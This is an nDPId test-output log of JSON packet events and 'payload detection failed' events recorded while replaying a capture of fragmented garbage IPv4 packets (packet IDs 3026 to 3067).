+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435942,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435954,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435964,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435979,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435987,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":435997,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436004,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436012,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436020,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436027,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436035,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436049,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436056,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436062,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436069,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436076,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436085,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436092,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436100,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436107,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436115,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436127,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436143,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436150,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436158,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436173,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436213,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436222,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436232,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436271,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436283,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436310,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436322,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":436332,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 